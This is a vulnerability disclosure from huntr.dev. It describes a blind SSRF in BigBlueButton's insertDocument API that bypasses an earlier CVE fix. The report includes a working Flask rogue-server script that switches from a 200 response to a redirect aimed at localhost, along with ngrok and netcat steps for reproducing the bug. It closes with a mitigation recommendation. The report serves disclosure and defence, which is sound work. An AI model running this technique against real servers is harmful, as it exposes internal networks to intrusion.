Lucene search

K
huntrDevme4f0D57C04E-F307-46D1-AA7A-194BBA824B88
HistoryAug 01, 2023 - 4:23 p.m.

Blind SSRF When Uploading Presentation (mitigation bypass)

2023-08-0116:23:09
devme4f
www.huntr.dev
4
ssrf
bypass
cve-2023-33176
presentation
api
rogue server
redirect
ngrok

AI Score

7.2

Confidence

Low

EPSS

0.001

Percentile

37.7%

Description

This is actually a bypass of CVE-2023-33176 when i able to perform SSRF to internal network.

Proof of Concept

As we already know, we can upload files via api /bigbluebutton/api/insertDocument using a remote url.

PresentationUrlDownloadService#savePresentation is the method to handle this file upload.

    public boolean savePresentation(final String meetingId,
            final String filename, final String urlString) {

        String finalUrl = followRedirect(meetingId, urlString, 0, urlString);

        // truncated .....
        CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
        try {
            httpclient.start();
            File download = new File(filename);
            ZeroCopyConsumer<File> consumer = new ZeroCopyConsumer<File>(download) {
                @Override
                protected File process(
                        final HttpResponse response,
                        final File file,
                        final ContentType contentType) throws Exception {
                    if (response.getStatusLine().getStatusCode() != HttpStatus.SC_OK) {
                        throw new ClientProtocolException("Upload failed: " + response.getStatusLine());
                    }
                    return file;
                }

            };
            Future<File> future = httpclient.execute(HttpAsyncMethods.createGet(finalUrl), consumer, null);
            File result = future.get();
            success = result.exists();
           // truncated ...........

From urlString variable, PresentationUrlDownloadService#followRedirect make request - iterates through all the redirects and checks if the url is a valid address, if nothing out of the ordinary and the url no longer redirects, it returns the final url as finalUrl

Finally the server will make a get request from finalUrl with httpclient.execute(HttpAsyncMethods.createGet(finalUrl), consumer, null);

_

So i wonder what if i host a rogue http server myself, and when the followRedirect method requests to my rogue server, it returns a 200 response, so finalUrl will still be urlString, nothing abnormal. But as soon as httpclient.execute(HttpAsyncMethods.createGet(finalUrl), consumer, null) is called to load the file, my rogue server will return a response redirect to a local address, which will be executed hence bypass the limitations implemented in PresentationUrlDownloadService#followRedirect in the previous patch

Step to reproduce

0.To verify the bug, at the BBB server, we can use netcat to listening on any port, here will be 7878:
netcat

_

1.Create a simple rogue http server in python like this running on port 8443 in our attacking machine:

from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)    

count = 0
@app.route('/a.txt')    
def root():
    global count
    print(count)
    if count == 1:
        return redirect('http://127.0.0.1:7878', code=301) # 2nd request returns a redirect response (status_code=301)
    
    count += 1 # increase count by 1
    return 'hello!' # the first request will return the usual response (status_code=200)

if __name__ == "__main__":    
    app.run(debug=True, host="0.0.0.0", port=8443)

_

2.If port 8443 is accessible from the internet we can skip this step, otherwise we need to public this port, here I use ngrok:
ngrok

_

3.Perform file upload from api /bigbluebutton/api/insertDocument with remote url is the address of the rogue http server above:
upload_request

_

4.After sending the request, the rogue server receives 2 requests as follows:
app.py_log
4.1.Return status 200 ==> PresentationUrlDownloadService#followRedirect

4.2.Return status 301 ==> httpclient.execute (redirect to: http://127.0.0.1:7878)

_

5.Check netcat at the BBB server, there is a request:
hit

Mitigation recommendations

Disable follow redirect at httpclient.execute since we no longer have to follow it when using finalUrl

AI Score

7.2

Confidence

Low

EPSS

0.001

Percentile

37.7%

Related for 0D57C04E-F307-46D1-AA7A-194BBA824B88